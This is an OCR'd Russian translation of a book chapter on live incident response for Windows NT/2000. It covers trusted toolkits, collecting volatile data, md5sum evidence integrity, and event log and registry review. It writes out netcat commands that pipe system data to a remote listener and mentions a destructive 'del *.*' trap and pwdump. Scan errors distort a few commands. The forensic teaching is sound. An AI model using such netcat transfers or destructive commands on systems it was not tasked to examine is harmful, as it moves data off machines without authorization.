будут отвлекать внимание, если вы не будете опытны, настороже и
подготовлены.
Оцените важность монотонных и трудоемких действий по созданию ин-
струментального набора реагирования. Затрачивая время на сбор надеж-
ных файлов и перенос их на компакт-диск (или сохранение их на гибких
дисках), вы будете значительно лучше подготовлены для быстрого,
профессионального и успешного ответа.
Метки инструментального набора
Первый шаг при сборе доказательств состоит в документировании самой
совокупности доказательств. Компакт-диск или гибкие диски с инструмен-
тальным набором реагирования должны быть помечены для идентифика-
ции этой части расследования. Например, наши гибкие диски и компакт-
диски реагирования имеют специальный ярлык, который содержит
следующую информацию:
■ Номер случая
■ Время и дату
■ Имя исследователя, который создал данный носитель реагирования
■ Имя исследователя, использовавшего данный носитель реагирования
■ Содержит или нет данный носитель реагирования (обычно гибкий
диск) файлы вывода или доказательства с системы-жертвы
Содержимое инструментального набора
В Windows существуют два типа приложений: использующие графический
интерфейс пользователя (GUI --- Graphical User Interface) и использующие
консольный интерфейс пользователя (CUI --- Console User Interface). Так
как программы GUI создают окна, имеют раскрывающиеся меню и обычно
используют скрытое взаимодействие, рекомендуется не применять их при
расследовании. Вместо этого используйте в системе Windows во время реа-
гирования только утилиты CUI или командной строки. Все утилиты, рас-
сматриваемые в этой главе, являются утилитами CUI или командной строки.
При любом реагировании на инцидент, независимо от его типа, крити-
чески важно использовать надежные команды. Для реагирования под Win
dows применяется компакт-диск или два гибких диска, которые содержат
минимальный набор утилит, перечисленных в таблице 9.1.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
loggedort, pslist, listdlls и filemon: www.sysinternals.com
fport: www.foundstone.com
md5sum и cygwin.dll: www.cygnus.com

238
Глава 9
Таблица 9.1. Утилиты инструментального набора реагирования
Утилита инструментального
набора реагирования
cmd.exe
loggedon
rasusers
netstat
fport
psiist
listdlls
nbtstat
arp
kill
md5sum
rmtshare
Netcat (cryptcat)
doskey
Описание
Приглашение ввода команд для Windows NT и Windows 2000.
Утилита, которая показывает всех пользователей, присоединенных
локально и удаленно.
Команда NT Resource Kit (NTRK), которая показывает, какие
пользователи имеют привилегии удаленного доступа
на целевой системе.
Встроенная системная утилита, которая перечисляет все слушающие порты
и все текущие соединения с этими портами.
Утилита, которая перечисляет все процессы, открывшие какие либо порты
TCP/IP на системе Windows NT/2000.
Утилита, которая перечисляет все выполняющиеся процессы
на целевой системе.
Утилита, которая перечисляет все выполняющиеся процессы,
их аргументы командной строки и динамически связанные библиотеки, от
которых зависит каждый процесс.
Встроенная системная утилита, которая перечисляет недавние
соединения NetBIOS примерно за последние 10 мин.
Встроенная системная утилита, показывающая адреса МАС систем,
с которыми общается целевая система в течение последней минуты.
Команда NTRK, которая прекращает процесс.
Утилита, которая создает хеш значения md5 для заданного файла.
Команда NTRK, которая выводит общие ресурсы, доступные
на удаленной машине.
Утилита, используемая для создания коммуникационного канала между
двумя различными системами. Cryptcat используется для создания
зашифрованных каналов коммуникации. Netcat предоставляет простой спо-
соб передачи информации между сетевыми системами.
Встроенная системная утилита, которая выводит историю команд
для открытой оболочки CMD.EXE.
Убедитесь, что инструментальный набор будет функционировать точно
так, как предполагается, и не изменит целевую систему. Поэтому желательно
создать диск реагирования, который содержит все охватываемые зависимо-
сти (или сколько возможно). Важно определить, от каких динамически загру-
жаемых библиотек и файлов зависят утилиты реагирования. Рекомендуется
использовать filemon для определения всех используемых и изменяемых фай-
лов каждой из этих утилит. Во время создания инструментального набора мы
затратили время на выполнение filemon для каждой утилиты, применяемой
во время реагирования. Хорошо знать, какие утилиты изменяют время досту-
па на файлах в целевой системе. Когда можно, избегайте использование
"громких" утилит, которые существенно изменяют целевую систему.

Начальное реагирование в системе Windows NT/2000
239
Рис. 9.1. Использование md5sum для создания контрольных сумм
для инструментального набора реагирования
Один из файлов на нашем гибком диске набора реагирования (или ком-
пакт диске) является текстовым файлом с контрольными суммами всех со-
держащихся на нем команд. На рис. 9.1 показана командная строка md5sum,
используемая для создания текстового файла (названного command
sums, txt).
Если используются гибкие диски, не забудьте защитить их от записи по-
сле создания. Если файлы доказательства сохраняются на гибком диске реа-
гирования во время инцидента, необходимо защитить гибкий диск от запи-
си после сбора данных и начать последовательность хранения. Теги
последовательности хранения должны быть заполнены для каждого гибко-
го диска или компакт диска реагирования независимо от того, содержит он
или нет файлы доказательства (см. главу 5).
СОХРАНЕНИЕ ИНФОРМАЦИИ,
ПОЛУЧЕННОЙ ВО ВРЕМЯ НАЧАЛЬНОГО РЕАГИРОВАНИЯ
Во время начального реагирования будет собираться большой объем ин-
формации из работающей (live) системы. Термин работающая применяет! Я
для систем, которые имеют отношение к расследованию, будет ли это ятя
кующая система или жертва, и которая включена в данный момент. I [ред
ставляйте себе это как сцену преступления до того, как сделаны фото] pi
фии и убраны тела. Вы действуете в ненадежном окружении, где МОЖНО
ожидать всякие неожиданности.

240
Глава 9
При извлечении информации из работающей системы имеются четыре
возможности:
Сохранить извлеченные данные на гибком диске реагирования или
на другой сменной среде хранения.
Записать извлеченные данные вручную в блокноте.
Сохранить извлеченные данные на жестком диске целевой системы.
Сохранить извлеченные данные на удаленной "судебной системе" с по-
мощью netcat или cryptcat.
Мы часто выбираем netcat для пересылки информации на судебную ра-
бочую станцию. Во время кризиса в крайних обстоятельствах, когда нет
времени для получения сетевого соединения, проще сохранить файлы вы-
вода на гибком диске. Если система имеет сменные носители информации,
такие как диски Iomega Zip или Jaz, можно сохранить извлеченную инфор-
мацию на них.
Одним из наиболее эффективных способов извлечения информации из
целевых систем является сохранение информации на удаленной судебной
рабочей станции с помощью утилиты netcat. Для использования netcat тре-
буется только IP адрес целевой сети и переносная система с достаточным
объемом памяти для хранения собранной информации.
Использование netcat позволяет передавать всю относящуюся к системе
информацию и файлы, необходимые для подтверждения того, произошел
или нет инцидент. Идея состоит в передаче информации через целевую
сеть, чтобы можно было просмотреть ее после выполнения реагирования.
Подобный подход к сбору информации содействует применению двух на-
дежных методов, допускающих:
Быстрое подключение и отключение от целевой системы
Выполнение в автономном режиме просмотр полученной информации.
Рис. 9,2, Использование netcat во аремя начальнего реагирования на инцедент.

Начальное реагирование в системе Windows NT/2000
241
Netcat, бесплатно доступная утилита, просто создает канал коммуника-
ции между хостами. Мы используем ее во время начального реагирования
для создания надежного соединения TCP между целевой системой и судеб-
ной рабочей станцией, применяемой для анализа. На рис. 9.2 показан про-
цесс использования netcat во время начального реагирования.
Для использования netcat необходимо инициировать приемник netcat на
судебной рабочей станции и перенаправить все входящие данные в файл.
На рис. 9.3 иллюстрируется судебная рабочая станция, ожидающая входя-
щие соединения на порте 2222. Она будет записывать полученную на этом
порте информацию в файл с именем pslist.
Рис. 9.3. Настройка приемника netcat на судебной рабочей станции
На целевой системе netcat применяется для направления вывода испо-
льзуемых команд реагирования на судебную рабочую станцию. Командная
строка на рис. 9.4 выполняет pslist, посылая вывод команды на судебную ра-
бочую станцию по IP адресу 192.168.0.20. При использовании netcat для от-
правки файлов на удаленную судебную рабочую станцию может понадоби-
ться разорвать соединение, для чего достаточно нажать CTRL C на
судебной рабочей станции. Когда гибкий диск или компакт диск на целевой
системе прекращает вращаться, можно разорвать соединение приемника
netcat на судебной рабочей станции.
Рис. 9.4. Настройка вывода pslist на судебную рабочую станцию
Используйте md5sum для обеспечения
целостности доказательства
Не забудьте защитить целостность файлов, которые извлекаются во время
реагирования, с помощью md5sum. Мы предпочитаем выполнять md5sum
на файлах, которые хранятся на судебной рабочей станции в присутствии
свидетелей. Это называется правилом целостности двух человек.

242
Глава 9
Cryptcat имеет такой же синтаксис и функции, как и обычная команда
netcat, но передаваемые данные шифруются. Существуют два бесспорных
аргумента в пользу шифрования трафика при пересылке файлов с целевой
системы:
Сетевой анализатор атакующего не сможет скомпрометировать полу-
ченную информацию.
Шифрование данных почти исключает риск порчи или подмены данных.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
netcat: http://www.10pht.com/~weld/netcat/
cryptcat: http://farm9.соm/content/Free_TooLs/Cryptcat
ПОЛУЧЕНИЕ ИЗМЕНЧИВЫХ ДАННЫХ
ДО СУДЕБНОГО ДУБЛИРОВАНИЯ
Начальное реагирование преследует две цели: подтвердить, что имеет мес-
то инцидент, а затем извлечь изменчивые данные системы, которые исчез-
нут при выключении питания системы. Во время начального, оперативно-
го реагирования выполните только те операции, которые необходимы для
сбора объема информации, достаточного для принятия решения, дает ли
инцидент право на судебное дублирование.
Если известно, что рассматриваемый инцидент будет требовать судебно-
го дублирования, желательно извлечь изменчивые данные из системы Win-
dows NT/2000 до выключения системы. Далее следует список некоторых
изменчивых данных:
Системные дата и время
Список выполняющихся в данный момент процессов
Список открытых в данный момент соединений
Приложения, ожидающие на открытых соединениях
Список пользователей, зарегистрированных в системе в данный мо-
мент
Список систем, которые имеют текущие или имели недавние соедине-
ния с системой
Желательно сопроводить все команды, выполняющиеся во время реаги-
рования, отметкой времени и даты. Это принцип судебной экспертизы.
Если отметки времени/даты изменяются вне рамок времени, когда выпол-
няется реагирование, вы тогда не будете отвечать за создание таких изме-
нений. Желательно также записывать каждую выполняемую команду. Это
может стать критически важным, если противник выскажет сомнение в
действиях, которые были предприняты во время реагирования. Можно бу-
дет точно указать предпринятые на системе действия и точные временные
рамки, когда они осуществлялись.

Начальное реагирование в системе Windows NT/2000
243
Выбирайте лучшее время для реагирования на инцидент
Тщательно определяйте наиболее подходящее время для реагирования на ин-
цидент. Если сотрудник подозревается в неприемлемом использовании своей
системы для выполнения запрещенных дел в рабочее время и на ресурсах
компании, то не может быть других требований, которые оправдывают не-
медленное действие. Я сделал большинство своих ответов ночью или в вы-
ходные дни, когда реагирование отделено во времени. С другой стороны
активная атака против сервера е коммерции может оправдать немедлен-
ные действия. Окончательный вывод: планируйте свой ответ для подходя-
щего времени.
Организация и документирование расследования
Одно дело иметь техническую подготовку, требуемую для правильного реа-
гирования на инцидент, и совсем другое реализовать полный, объективный,
профессиональный процесс. Необходимо иметь методологию, которая од-
новременно организует и документирует. Применяйте файл md5sum с конт-
рольными суммами всех используемых утилит до развертывания. Если необ-
ходимо использовать ненадежные двоичные файлы во время реагирования,
не забудьте записать имена полных путей доступа этих двоичных файлов.
При реагировании на консоли системы жертвы рекомендуется использо-
вать форму для планирования и документирования ответа. Для наших иссле-
дований мы записываем начальное время выполнения команды и введенную
командную строку. Кроме того, записывается, какой двоичный файл выпол-
няется --- надежный или ненадежный. Затем генерируется хеш значение
md5sum данных, полученных каждой командой, и добавляются любые не-
обходимые комментарии. Ниже представлен пример такой формы:
Начальное
время
12:15:22
12:15:27
12:15:32
Командная
строка
Type Imhosts | пс
192.168.0.1.2222
Pslist | nc
192.168.0.1 2222
Netstat  an | nc
192.168.0.1 2222
Надежный код
X
X
X
Ненадежный
код
Md5sum
вывода
3d2e.531d.
6553.ee93.e089.
0091.3857.eef3
1ded.672b.a8b2.
ebf5.beef.6722.0
100.3fe8
5228.5a23.1133.
2453.efe2.0234.3
857.eef3
Комментарии
Содержимое
файла Imhosts
Применение формы, подобной этой, позволяет записать все команды,
которые вы собираетесь выполнить до реагирования на целевой системе.
Она заставляет исследователя планировать заранее.

244
Глава 9
Используйте свидетелей и резервные копии
для обеспечения целостности доказательств
Желательно, чтобы свидетель подписал форму и проверил каждое значение
md5sum, вычисленное во время реагирования. В конце вашего ответа перед
просмотром вывода скопируйте все файлы вывода и их соответствующие
контрольные суммы на носитель резервного копирования. Немедленно предо-
ставьте копии другой стороне. Помните о правиле целостности двух человек.
Существуют две причины для тщательного документирования действий:
сбор информации, которая может стать доказательством против человека и
безопасность своей собственной организации. Что если сервер, из которого
извлекается информация, выполнит аварийный отказ, и клиент или ваш на-
чальник обвинит ваши действия, как вызвавшие останов? Если вы тщатель-
но документировали свои действия, то сможете обеспечить себе защиту от
любых обвинений.
Выполнение надежной утилиты cmd.exe
Как обсуждалось в главе 8, всегда необходимо остерегаться ловушек, кото-
рые размещает атакующий, чтобы помешать реагированию на инцидент.
Можно выполнить утилиту cmd.exe на системе жертве и понять слишком
поздно, что была выполнена команда del *.* в каталоге \WINNT\System32,
а это делает систему практически неработоспособной. Решение состоит в
выполнении надежной cmd.exe. На рис. 9.5 показано использование коман-
ды Start | Run в системе Windows для открытия надежного cmd.exe на гиб-
ком диске.
Рис. 9.5. Выполнение надежной версии cmd.exe
После выполнения надежной командной оболочки желательно записать
локальные настройки системной даты и времени. Это важно для согласова-
ния системных журналов, а также для отметки моментов времени, когда
выполняется реагирование. Команды date и time являются частью прило-
жения cmd.exe. На рис. 9.6 показано выполнение команды date с перена-
правлением вывода в файл с именем date.txt на гибком диске. Вторая
команда на рисунке использует оператор добавления (») дни добавления

Начальное реагирование в системе Windows NT/2000
245
Рис. 9.6. Получение системного времени и даты и сохранение их на гибком диске
результата работы команды time в файл date.txt. При выполнении команд
date и time необходимо нажимать клавишу ENTER для указания того, что
вы не хотите изменить настройку.
Будьте последовательны с файлами вывода
Придерживайтесь определенного соглашения об именах для файлов вывода.
Как только вы создаете файл, немедленно генерируйте значение md5sum ре-
зультатов. Это поможет обеспечить целостность файла документов. Мы на-
зываем свои файлы результата работы именами с расширением .txt, и в част-
ности, результат работы угилиты pslist --- pslist.txt. Таким образом, если
понадобится выполнить второй раз утилиту pslist во время реагирования,
можно назвать файл вывода pslist2.txt. В данном случае исключается любая
путаница и определяется соответствующий файл вывода для каждой коман-
ды, выполненной во время реагирования.
Определение тех, кто зарегистрирован в системе
Следующий шаг состоит в определении, какие учетные записи пользовате-
лей имеют активные соединения с системой. Вы хотите знать, чьи службы
Служба удаленного доступа Windows
Если вы отвечаете за систему, которая предлагает удаленный доступ через
модемные линии, необходимо определить учетные записи пользователей,
которые имеют привилегии удаленного доступа на целевой системе. Если
такие записи не определены, то вы знаете, что модем предназначен для
исходящих соединений (или по крайней мере не для RAS). Если несколько
учетных записей могут обратиться к системе через RAS, необходимо ре-
шить, хотите вы или нет удалить телефонные линии из системы во
время реагирования. Может быть нежелательно разрешать какой либо
доступ к целевой системе во время реагирования. Утилита командной
строки для перечисления пользователей, которые могут регистрирова-
ться в системе через RAS, называется rasusers.

246
Глава 9
Рис. 9.7. Использование loggedon для перечисления пользователей,
зарегистрированных в данный момент в системе
могут быть прерваны, если вы решите прекратить сетевые соединения с
системой жертвой. Марк Русинович создал утилиту loggedon, которая пока-
зывает всех пользователей, соединенных локально и удаленно. Обратите
внимание на соединение сеанса null из удаленной системы (см. рис. 9.7).
Определение открытых портов и ожидающих приложений
Полезно знать, какие службы ожидают на каких портах. Иначе вы не сможе-
те отличить незаконные процессы от законных, критически важных процес-
сов. Дж.Д.Глэзер из компании Foundstone написал утилиту, называемую
fport, которая перечисляет все процессы, ожидающие на портах системы
Windows NT/2000. На рис. 9.8 показан синтаксис fport и соответствующий
вывод.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Часто встречающиеся черные ходы и их используемые по умолчанию порты
http://www.doshelp.com/trojanports.htm
http://home.tiscatinet.be/bchicken/trojans/trojanpo.htm
http://www.simovits.com/nyheter9902.html
Утилита fport показывает все ожидающие в данный момент порты, одна-
ко она не сообщает, какие порты обслуживают в текущий момент удален-
ные системы. Для получения этой информации используйте Netstat, стан-
дартную команду Windows, которая перечисляет все ожидающие порты и
все текущие соединения с этими портами.

Начальное реагирование в системе Windows NT/2000
247
Рис. 9.8. Использование fport для просмотра ожидающих служб
Netstat --- полезная утилита для записи изменчивых данных, таких как теку-
щие соединения и соединения, которые только что закончились. На рис. 9.9
показано выполнение netstat на сервере NT.
Вы заметите множество соединений localhost в выводе. Даже хотя про-
граммный пакет выполняется на одной машине, он может быть написан с
помощью модели клиент/сервер. Таким образом netstat будет почти всегда
показывать соединения между приложениями на локальном хосте 127.0.0.1.
Эти соединения редко представляют интерес для исследователя. Вы будете
искать подозрительные удаленные IP адреса и ожидающие порты.
Если fport показывает незаконный процесс, ожидающий соединения, а
netstat представляет текущие соединения с этим процессом, то может быть
желательно уничтожить (прекратить) подобный процесс, чтобы защитить
систему от потенциально злонамеренных действий, предпринятых неавто-
ризованными нарушителями. Когда необходимо, используйте комайду kill
для уничтожения незаконных процессов.

248
Глава 9
Рис. 9.9. Использование Netstat для просмотра текущих соединений
и ожидающих портов
Что может произойти
Вы сидите перед системой Windows NT за работой, когда неожиданно запу-
скается используемый по умолчанию браузер Web и соединяется с сайтом
онлайновых азартных игр. В это время вы даже не работали с клавиатурой.
Вы подозреваете, что кто то установил в системе некоторую разновидность
сервера удаленного доступа.
Где искать доказательства
На рис. 9.10 показаны результаты выполнения fport в системе, которая
имеет несколько установленных троянских программ удаленного доступа.
Процесс с идентификатором ID 162 выглядит подозрительно, так как
\WINNT\winpop.exe ожидает соединения на портах 6000 и 12346, которые
обычно используются троянской программой Netbus. Процесс с идентифи-
катором ID 199 также подозрителен. Следующий шаг состоит в получении
winpop.exe (популярной троянской программы Netbus) и windll.exe (троян-
ская программа "girlfriend") для дальнейшего анализа. Одно из простых ре-
шений --- копирование обоих файлов на гибкий диск реагирования и затем
использование актуального сканера вирусов на другой системе для опреде-
ления, что эти программы являются троянскими программами удаленного
доступа.

Начальное реагирование в системе Windows NT/2000
249
Рис. 9.10. Распознавание неавторизованных черных ходов
Перечисление всех выполняющихся процессов
Прежде чем выключить целевую систему, важно записать все процессы, вы-
полняющиеся на ней в данный момент. Вы не сможете получить эту инфор-
мацию, если просто выдерните шнур питания из розетки. Когда процесс
выполняется в системе Windows, создаются объект ядра и адресное про-
странство, которое содержит исполнимый код. Созданный объект ядра ис-
пользуется операционной системой для управления процессом и содержит
статистическую информацию о процессе.
Можно воспользоваться утилитой pslist, написанной Марком Русинови
чем, для перечисления всех выполняющихся процессов в целевой системе.
На рис. 9.11 --- пример выполнения pslist.
ВНИМАНИЕ Исходный API Windows не имеет функций, которые перечисляют вы-
полняющиеся процессы из объектов ядра (нет команды ps, как в
UNIX). Разработчики Windows NT создали PSAPI.dll для перечисле-
ния процессов, осуществляющихся в системе. Windows 95 и 98 ис-
пользуют другой API для перечисления процессов, которые в этой
книге не рассматривается.

250
Глава 9
Рис. 9.11. Использование pslist для просмотра всех выполняющихся процессов
Если вы не можете различить критически важные процессы NT и зло-
вредные процессы, то утилита pslist окажется не слишком полезной. Нужно
уметь опознавать нормальные процессы, чтобы можно было идентифици-
ровать те процессы, которые могут быть неуместными или незаконными.
Например, если pslist обнаружит, что выполняется процесс EVENTVWR, то
это предполагает, что кто то просматривает журналы. Если вы видите
USRMGR, то можно заподозрить, что кто то пытается изменить политики
аудита, добавить или удалить учетную запись пользователя, или изменить
данные учетной записи (пароли). В таблице 9.2 представлен список некото-
рых системных процессов NT.
ВНИМАНИЕ Если по какой либо причине будет потерян рабочий стол (завис
процесс), можно выбрать пункт меню Start | Run и ввести Explorer.
После этого должен появиться рабочий стол.

Начальное реагирование в системе Windows NT/2000
251
Таблица 9.2. Некоторые системные процессы Windows NT
Процесс NT
smss
CSRSS
WINLOGON
SERVICES
LSASS
SPOOLSS
RPCSS
ati2plab
EXPLORER.EXE
EVEN7VWR
USRMGR
MSDTC
Описание
Менеджер сеансов, который настраивает среду NT во время процесса
начальной загрузки.
Клиент серверная подсистема сервера времени выполнения, используемая
для поддержания среды системы Win32 и многочисленных других жизненно важных
функций.
Служба регистрации в Windows.
Используется NT для управления службами.
Служба безопасности локального уполномоченного безопасности,
которая всегда выполняется для проверки аутентификации в системе.
Служба спулера для подсистемы печати.
Подсистема удаленного вызова процедур.
Часть подсистемы видео драйвера.
Отвечает за создание кнопки Start, объектов рабочего стола и панели задач.
Приложение для просмотра событий (EVENT VIEWER).
Приложение менеджера пользователей (User Manager).
Координатор распределенных транзакций Microsoft, который конфигурируется для
автоматического запуска при запуске системы NT.
Перечисление текущих и недавних соединений
Утилиты netstat, arp и nbtstat хорошо подходят для определения, кто соеди-
нен или был недавно соединен с системой. Многие рабочие станции NT/2000
имеют политики аудита, которые не регистрируют никакие успешные или
неудачные соединения. Поэтому эти три утилиты могут быть единствен-
ным способом определить удаленную систему, соединенную с рабочей стан-
цией. Агр используется для доступа к кэшу агр, который отображает IP ад-
рес в физический адрес MAC для систем, с которыми общалась целевая
система в течение последней минуты. Nbtstat используется для доступа к
удаленному кэшу имен NetBIOS, перечисляя недавние соединения NetBIOS
примерно за последние десять минут. На рис. 9.12 показан пример исполь-
зования nbtstat для перечисления текущих и недавних соединений NetBIOS.
ВНИМАНИЕ Многие специалисты по компьютерной безопасности используют
netstat для перечисления открытых портов в системе. Так как fport
перечисляет открытые порты и приложения, принимающие на каждом
порте, netstat используется для определения текущих соединений и
удаленных IP адресов этих текущих соединений и для просмотра
недавних соединений.

252
Глава 9
Рис. 9.12. Использование nbtstat для просмотра недавних соединений NetBIOS
Документирование команд, использованных
во время начального реагирования
Используйте команду doskey /history для вывода истории команд текущей
оболочки команд в системе (если ситуация служит оправданием). Кроме
того, doskey /history применяется для отслеживания команд, выполненных
на системе во время реагирования (см. рис. 9.13).
Рис. 9.13. Использование doskey для записи действий, выполняемых
во время реагирования на инцидент
Создание сценария начального реагирования
Многие действия, выполняемые во время начального реагирования, можно
поместить в один файл сценария. Мы часто создаем сценарий реагирования
и затем используем netcat для пересылки результатов сценария на судебную
рабочую станцию.
Ниже представлен пример сценария, который можно использовать при
реагировании на инциденты в системе Windows NT/2000:
time /t

Начальное реагирование в системе Windows NT/2000
253
date /d
Loggedon
netstat  an
fport
pslist
nbtstat  c
time /t
date /t
Создайте просто текстовый файл с расширением .bat, и вы получите па-
кетный файл. Мы назвали показанный выше файл ir.bat. Он выполняется
на целевых системах. Обратите внимание, что реагирование окружено
командами получения даты и времени.
При переадресации вывода сценария нескольких команд в одно соеди-
нение netcat, необходимо использовать следующую командную строку на
аналитической системе:
nc.exe  L  р 2222 » iroutput.txt
L означает слушать внимательно, приказывая соединению netcat не за-
крываться без вмешательства пользователя (CTRL C). Результатом являет-
ся один текстовый файл, в данном случае называемый iroutput.txt, в кото-
ром записана вся изменчивая информация.
Простое реагирование завершается записью большей части изменчи-
вых данных из системы Windows NT/2000. Можно еще выполнить копиро-
вание оперативной памяти, извлечь некоторую информацию из реестра
или осуществить другие действия на целевой системе в зависимости от со-
вокупности обстоятельств. Эти действия определяют просто минимальную
базовую версию, требуемую для получения некоторых критически важных
данных, которые теряются, если просто выключить систему и выполнить
судебное дублирование.
ВЫПОЛНЕНИЕ УГЛУБЛЕННОГО,
РЕАЛЬНОГО РЕАГИРОВАНИЯ
Иногда реагирование на консоль работающей системы должно выходить
за пределы простого получения изменчивой информации. Скорее всего
выключение целевой системы даже невозможно, так как существуют много-
численные проблемы, связанные с прерыванием службы.
Может понадобится найти доказательства и соответствующим образом
удалить незаконные программы, не прерывая никакие службы, предостав-
ляемые машиной жертвой. Другими словами, вы не сможете выключить ма
шину, отключить сетевые соединения или воспользоваться Safeback и Ел
Case (или любой другой популярной судебной программой на основе
Windows/DOS). Это несколько противоречит традиционной компьютер
ной судебной экспертизе, но требование возможности извлечения судебно
значимых данные без прерывания деятельности компьютера жертвы ста
новится все более распространенным.

254
Глава 9
ОСТОРОЖНО Если вы не обладаете достаточным опытом и не знаете точно, как из-
влечь все доказательства, необходимые во время рабочего реагиро-
вания, вы должны строго придерживаться судебного дублирования
системы жертвы. Всестороннее рабочее реагирование должно быть
предоставлено профессионалам, кто точно знает, что надо искать.
Иначе вы можете остаться с незавершенным реагированием без
надлежащим образом удаленных симптомов или незаконных про-
цессов и файлов.
Вашими первыми действиями является сбор наиболее изменчивых данных:
Выполните команды date и time, чтобы разместить ответ между началь-
ным и конечным временем. Эти записи текущего времени системы
служат для корреляции между системными журналами и сетевыми
журналами.
Воспользуйтесь loggedon, чтобы увидеть, кто в данный момент соединен
с системой.
Воспользуйтесь netstat, чтобы увидеть текущие и недавние соедине-
ния на всех принимающих портах.
Выполните pslist, чтобы увидеть все выполняющиеся процессы.
Воспользуйтесь fport, чтобы определить, какие программы открыли
определенные порты. Если fport указывает, что выполняется незакон-
ный процесс, получите незаконный процесс для инструментального
анализа.
После сбора этой информации можно дополнительно выполнить неко-
торые исследовательские действия, которые минимизируют разрушение
работы целевой системы. Двумя ключевыми источниками доказательства в
системах Windows NT/2000 являются журналы событий (если аудит вклю-
чен) и реестр целевой системы. Поэтому во время большинства исследова-
ний требуется тщательный анализ обоих источников.
Следующие разделы описывают подход, который извлекает значитель-
ный объем информации из действующей системы Windows NT/2000. Эти
команды представлены в том порядке, в котором они обычно используют-
ся, но вполне возможно, что придется изменить данный порядок, чтобы
удовлетворить потребностям определенной ситуации. Каждая из этих
команд имеет стандартный вывод, означающий, что вы можете использо-
вать все эти команды совместно с netcat, чтобы ответить через сетевое со-
единение. В таблице 9.3 показаны утилиты реагирования и их описания.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
pwdump: http://packetstorm.security.com/Crackers/NT/pwdump2.zip
afind, ntlast, sfind: http://www.foundstone.com

Начальное реагирование в системе Windows NT/2000
255
Таблица 9.3. Утилиты, используемые для углубленного реагирования
Получение журналов событий во время реагирования
на работающей системе
После записи отметок времени/даты можно перейти более свободно к ис-
следованию системы. Используйте auditpol из NTRK для запроса, какие по-
литики аудита существуют в системе. Зачем пытаться получить журналы из
системы, если ничего не существует? Если включен аудит, то вы войдете в
журнал безопасности (идентификатор события ID 612). На рис. 9.14 пока-
зана командная строка и результат работы auditpol.
Ntlast, разработанная Дж.Д.Глезером из Foundstone, является прекрасной
утилитой, которая позволяет контролировать успешные и неудачные попыт-
ки регистрации в системе, если аудит регистрации в системе был включен.
Желательно просмотреть подозрительные учетные записи пользователей
и удаленные системы, имеющие доступ к целевой системе. На рис. 9.15 по-
казаны успешные регистрации в системе GENGIS с помощью ntlast.
РИС. 9.14. Использование auditpol для определения регистрации в системе

256
Глава 9
Рис. 9.15. Использование ntlast для просмотра успешных попыток входа в систему
Используйте ntlast  r для перечисления всех успешных попыток входа в
систему из удаленных систем. На рис. 9.16 показан пример этой формы
ntlast.
Рис. 9.16. Использование ntlast для перечисления всех успешных попыток входа
в систему с удаленных систем
Дополнительно утилита ntlast может использоваться для перечисления
отказавших случаев консольного входа с помощью ntlast  f (см. рис. 9.17).
Чтобы увидеть отказавшие попытки удаленного входа, используйте ntlast  f  r.
Рис. 9.17. Вывод неудачных попыток входа в систему на системной консоли
При желании можно извлечь другие журналы для автономного анализа.
Зачем искать случайным образом на целевой системе с помощью Event Vie-
wer? Применяйте dumpel и netcat для извлечения удаленных журналов. Ис-
пользуйте dumpel  1 security  t (в NTRK) для получения журналов событий

Начальное реагирование в системе Windows NT/2000
257
из целевой системы. Эта команда выводит весь журнал безопасности с сим-
волами табуляции в качестве разделителей в произвольный указанный
файл. Команда dumpel  1 application  t выводит журнал приложений в стан-
дартный вывод.
Что может произойти
Атакующий посылает e mail с присоединенной троянской программой уда-
ленного доступа нескольким получателям в организации. Атакующий надеет-
ся, что получатели нечаянно выполнят троянскую программу, предоставляя
атакующему доступ через черный ход в сеть организации. Однако троянская
программа атакующего не смогла выполнится правильно, так как организа-
ция требует, чтобы каждая настольная система выполняла антивирусную
программу, которая изолирует зловредные файлы.
Где искать доказательства
Следующая запись извлечена из журнала приложений системы жертвы. Об-
ратите внимание, что система HOMER4 была инфицирована файлом с име-
нем 04.d, который в действительности является троянской программой Bac-
kgate. Обратите также внимание, что этот файл расположен в каталоге
c:\Inetpub\scripts. Этот файл был, вероятно, помещен в систему через взлом
Web сервера с помощью популярной атаки MDAC или атаки IIS Unicode, ко-
торые будут рассмотрены в главе 14. Троянская программа помещена в ката-
лог, где хранятся используемые по умолчанию сценарии Web сервера. Види-
мо, атакующий разместил активную серверную страницу, которая позволяет
ему загружать произвольные файлы.
3/4/01
3:38:43 РМ 1 0 257 AlertManager
N/A H0MER4
NetShield NT: The file C:\Inetpub\scripts\04.D
on H0MER4 is infected with the virus BackGate. Unable to clean file.
Cleaner unavailable or unable to access the file.
Можно также просмотреть журналы на целевой системе удаленным образом,
выбирая Log | Select Computer. Для удаленного просмотра журнала безопасности
на удаленной системе необходимо иметь доступ уровня администратора.
На рис. 9.18 иллюстрируется создание соединения NetBIOS с удаленной сис-
темой общим ресурсом IPC, входящей в систему webtarget с учетной записью
batman (которая оказалась учетной записью администратора).
Рис. 9.18. Соединение с учетной записью администратора удаленной системы NT

258
Глава 9
Рис. 9.19. Использование утилиты Event Viewer для просмотра журналов событий
удаленной системы
После получения соединения с учетной записью администратора выбе-
рите просто Log | Select Computer, и можно будет удаленно просмотреть
журнал событий на этой системе (см. рис. 9.19). Если желательно создать
локальную копию, сохраните файл.
ВНИМАНИЕ Мы включили способ доступа к журналам событий через сетевое
соединение только потому, что нас часто спрашивают, как можно
реализовать удаленное администрирование на системах NT/2000.
Мы не считаем, что это значимая методология при реагировании на
инцидент с компьютерной безопасностью.
Просмотр реестра во время реагирования
на работающей системе
Реестр Windows NT/2000 хранит большой объем важных данных, которые
используются во время начального реагирования (подробное исследование
реестра см. в главе 10).
Для извлечения важных данных реестра на действующей системе мож-
но использовать regdump или reg query из NTRK. Regdump создает громад-
ный текстовый файл реестра. Мы используем вместо этого reg query и изв
лекаем только представляющие интерес значения ключей реестра. Ниже

Начальное реагирование в системе Windows NT/2000
259

260
Глава 9
Этот пример можно модифицировать, чтобы получить информацию
о ключах реестра, представляющих интерес на рассматриваемой системе.
0 Что может произойти
J* Атакующий загрузил троянскую программу удаленного доступа в систему
жертву и поместил точку входа в ключе реестра RunOnce, чтобы незаконное
приложение выполнялось каждый раз при перезагрузке системы жертвы.
Где искать доказательства
Далее представлен фрагмент реестра, который извлечен из системы жерт-
вы. Можно видеть, что две программы windll.exe и winpop.exe выполняют-
ся каждый раз при загрузке системы. Следующий шаг состоит в получении
